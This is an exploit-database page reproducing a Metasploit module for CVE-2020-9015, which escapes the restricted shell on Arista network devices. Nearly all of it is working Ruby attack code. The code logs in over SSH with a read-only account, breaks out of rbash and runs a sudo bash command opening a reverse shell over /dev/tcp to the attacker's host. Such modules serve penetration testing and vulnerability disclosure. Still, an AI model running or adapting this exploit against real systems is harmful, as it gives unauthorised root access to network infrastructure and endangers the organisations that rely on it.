Arista Restricted Shell Escape / Privilege Escalation

2020.06.17
Credit: Chris Anders
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/ssh' require 'net/ssh/command_stream' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SSH include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Arista restricted shell escape (with privesc)', 'Description' => %q{ This exploit module takes advantage of a poorly configured TACACS+ config, Arista's bash shell and TACACS+ read-only account to privilage escalate. A CVSS v3 base score of 9.8 has been assigned. }, 'License' => MSF_LICENSE, 'Author' => ['Chris Anders'], 'References' => [ [ 'CVE', '2020-9015'], [ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'], [ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9015' ], [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ], ], 'Arch' => ARCH_X86, 'ConnectionType' => 'find', 'DefaultTarget' => 0, 'DefaultOptions' => { 'Payload' => 'linux/x86/shell_reverse_tcp' }, 'DisclosureDate' => 'Feb 02 2020', 'Platform' => 'linux', 'PayloadType' => 'cmd_interact', 'Privileged' => true, 'Targets' => [ [ 'Universal', {} ] ] ) ) register_options( [ Opt::RPORT(22), OptString.new('USERNAME', [true, 'Username to login with', '']), OptString.new('PASSWORD', [true, 'Password to login with', '']), ] ) register_advanced_options( [ Opt::Proxies, OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]), OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false]) ] ) end def check factory = ssh_socket_factory opts = { auth_methods: ['password', 'keyboard-interactive'], port: rport, use_agent: false, config: false, password: password, proxy: factory, non_interactive: true, verify_host_key: :never } begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start(rhost, username, opts) end rescue Rex::ConnectionError return CheckCode::Safe rescue Net::SSH::Disconnect, ::EOFError return CheckCode::Safe rescue Timeout::Error return CheckCode::Safe rescue Net::SSH::AuthenticationFailed return CheckCode::Safe rescue Net::SSH::Exception return CheckCode::Safe end CheckCode::Detected end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def lport datastore['LPORT'] end def lhost datastore['LHOST'] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def exploit factory = ssh_socket_factory opts = { auth_methods: ['password', 'keyboard-interactive'], port: rport, use_agent: false, config: false, password: password, proxy: factory, non_interactive: true, verify_host_key: :never } opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...") begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, username, opts) end rescue Rex::ConnectionError fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use") rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation") rescue ::Timeout::Error fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation") rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication") rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}") end fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh begin payload_executed = false print_good('SSH connection established.') ssh.open_channel do |channel, _data| print_status('Requesting pty rbash') channel.request_pty do |ch, success| fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success print_good('PTY successfully obtained.') print_status('Requesting a shell.') ch.send_channel_request('shell') do |cha, _succ| fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success print_good('Spawned into arista rbash shell.') cha.on_data do |_xx, data2| if data2.include? '#' if !payload_executed print_status('Attempting to break out of Arista rbash...') channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n") payload_executed = true print_good('Escaped from rbash!') end end end end end end ssh.loop unless session_created? rescue Errno::EBADF => e elog(e.message) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top